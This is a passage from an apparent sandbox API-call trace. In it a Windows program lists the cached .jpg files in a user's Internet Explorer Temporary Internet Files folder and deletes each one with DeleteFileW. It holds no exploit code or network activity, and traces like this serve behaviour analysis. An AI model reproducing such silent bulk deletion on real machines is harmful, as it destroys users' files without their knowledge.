nFileSizeLow=0x24eb, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLl58[1].jpg", cAlternateFileName="BBDLL5~1.JPG")) returned 1 [0103.844] lstrlenW (lpString="BBDLl58[1].jpg") returned 14 [0103.844] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDLl58[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLl58[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLl58[1].jpg" [0103.845] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLl58[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdll58[1].jpg")) returned 1 [0103.889] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbbdc320, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbbdc320, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbbdc320, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1b56, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLLQz[1].jpg", cAlternateFileName="BBDLLQ~1.JPG")) returned 1 [0103.889] lstrlenW (lpString="BBDLLQz[1].jpg") returned 14 [0103.889] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDLLQz[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLLQz[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLLQz[1].jpg" [0103.889] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLLQz[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdllqz[1].jpg")) returned 1 [0103.890] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc2da3c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc2da3c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc300520, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2b83, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLlX3[1].jpg", cAlternateFileName="BBDLLX~1.JPG")) returned 1 [0103.890] lstrlenW (lpString="BBDLlX3[1].jpg") returned 14 [0103.890] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDLlX3[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLlX3[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLlX3[1].jpg" [0103.890] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLlX3[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdllx3[1].jpg")) returned 1 [0103.890] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbc4e740, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbc4e740, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbc4e740, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x17ad, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLq44[1].jpg", cAlternateFileName="BBDLQ4~1.JPG")) returned 1 [0103.890] lstrlenW (lpString="BBDLq44[1].jpg") returned 14 [0103.890] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDLq44[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLq44[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLq44[1].jpg" [0103.890] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLq44[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdlq44[1].jpg")) returned 1 [0103.891] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf32e1360, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xf32e1360, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xf32e1360, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x6c4d, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLt9V[1].jpg", cAlternateFileName="BBDLT9~1.JPG")) returned 1 [0103.891] lstrlenW (lpString="BBDLt9V[1].jpg") returned 14 [0103.891] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDLt9V[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLt9V[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLt9V[1].jpg" [0103.891] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLt9V[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdlt9v[1].jpg")) returned 1 [0103.966] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe43cd1c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xe43cd1c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xe43cd1c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1353, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLxXg[1].jpg", cAlternateFileName="BBDLXX~1.JPG")) returned 1 [0103.966] lstrlenW (lpString="BBDLxXg[1].jpg") returned 14 [0103.966] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDLxXg[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLxXg[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLxXg[1].jpg" [0103.966] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLxXg[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdlxxg[1].jpg")) returned 1 [0104.062] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc4ef700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc4ef700, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc4ef700, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x44f2, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDM6AR[1].jpg", cAlternateFileName="BBDM6A~1.JPG")) returned 1 [0104.062] lstrlenW (lpString="BBDM6AR[1].jpg") returned 14 [0104.062] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDM6AR[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDM6AR[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDM6AR[1].jpg" [0104.062] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDM6AR[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdm6ar[1].jpg")) returned 1 [0104.062] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc267fa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc267fa0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc267fa0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x684, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDM8ks[1].jpg", cAlternateFileName="BBDM8K~1.JPG")) returned 1 [0104.062] lstrlenW (lpString="BBDM8ks[1].jpg") returned 14 [0104.063] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDM8ks[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDM8ks[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDM8ks[1].jpg" [0104.063] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDM8ks[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdm8ks[1].jpg")) returned 1 [0104.063] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbd590e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbd590e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbd590e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2037, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDM8Mj[1].jpg", cAlternateFileName="BBDM8M~1.JPG")) returned 1 [0104.063] lstrlenW (lpString="BBDM8Mj[1].jpg") returned 14 [0104.063] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDM8Mj[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDM8Mj[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDM8Mj[1].jpg" [0104.063] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDM8Mj[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdm8mj[1].jpg")) returned 1 [0104.063] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd85d15e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd85d15e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd85d15e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x4484, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDMcxK[1].jpg", cAlternateFileName="BBDMCX~1.JPG")) returned 1 [0104.063] lstrlenW (lpString="BBDMcxK[1].jpg") returned 14 [0104.063] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDMcxK[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDMcxK[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDMcxK[1].jpg" [0104.063] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDMcxK[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdmcxk[1].jpg")) returned 1 [0104.076] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcba132a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcba132a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcba132a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1c2a, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDMcZB[1].jpg", cAlternateFileName="BBDMCZ~1.JPG")) returned 1 [0104.076] lstrlenW (lpString="BBDMcZB[1].jpg") returned 14 [0104.076] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDMcZB[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDMcZB[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDMcZB[1].jpg" [0104.076] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDMcZB[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdmczb[1].jpg")) returned 1 [0104.076] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcba856c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcba856c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcba856c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1e84, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDMdsm[1].jpg", cAlternateFileName="BBDMDS~1.JPG")) returned 1 [0104.076] lstrlenW (lpString="BBDMdsm[1].jpg") returned 14 [0104.076] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDMdsm[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDMdsm[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDMdsm[1].jpg" [0104.076] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDMdsm[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdmdsm[1].jpg")) returned 1 [0104.076] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf928a780, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xf928a780, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xf92b08e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x4a56, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDMp3M[1].jpg", cAlternateFileName="BBDMP3~1.JPG")) returned 1 [0104.076] lstrlenW (lpString="BBDMp3M[1].jpg") returned 14 [0104.077] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDMp3M[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDMp3M[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDMp3M[1].jpg" [0104.077] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDMp3M[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdmp3m[1].jpg")) returned 1 [0104.077] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbed5ea0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbed5ea0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbed5ea0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x7dc, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDMpdZ[1].jpg", cAlternateFileName="BBDMPD~1.JPG")) returned 1 [0104.077] lstrlenW (lpString="BBDMpdZ[1].jpg") returned 14 [0104.077] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDMpdZ[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDMpdZ[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDMpdZ[1].jpg" [0104.077] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDMpdZ[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdmpdz[1].jpg")) returned 1 [0104.077] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb576800, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb576800, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb576800, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x21a1, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDMptJ[1].jpg", cAlternateFileName="BBDMPT~1.JPG")) returned 1 [0104.077] lstrlenW (lpString="BBDMptJ[1].jpg") returned 14 [0104.077] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDMptJ[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDMptJ[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDMptJ[1].jpg" [0104.077] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDMptJ[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdmptj[1].jpg")) returned 1 [0104.078] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc0069a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc0069a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc0069a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x95d, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDr3Zu[1].jpg", cAlternateFileName="BBDR3Z~1.JPG")) returned 1 [0104.078] lstrlenW (lpString="BBDr3Zu[1].jpg") returned 14 [0104.078] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDr3Zu[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDr3Zu[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDr3Zu[1].jpg" [0104.078] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDr3Zu[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdr3zu[1].jpg")) returned 1 [0104.078] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc34c7e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc34c7e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc34c7e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x740, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDvCmH[1].jpg", cAlternateFileName="BBDVCM~1.JPG")) returned 1 [0104.078] lstrlenW (lpString="BBDvCmH[1].jpg") returned 14 [0104.078] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDvCmH[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDvCmH[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDvCmH[1].jpg" [0104.078] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDvCmH[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdvcmh[1].jpg")) returned 1 [0104.082] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbd7f240, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbd7f240, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbd7f240, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x9b6, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDvM89[1].jpg", cAlternateFileName="BBDVM8~1.JPG")) returned 1 [0104.082] lstrlenW (lpString="BBDvM89[1].jpg") returned 14 [0104.082] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDvM89[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDvM89[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary 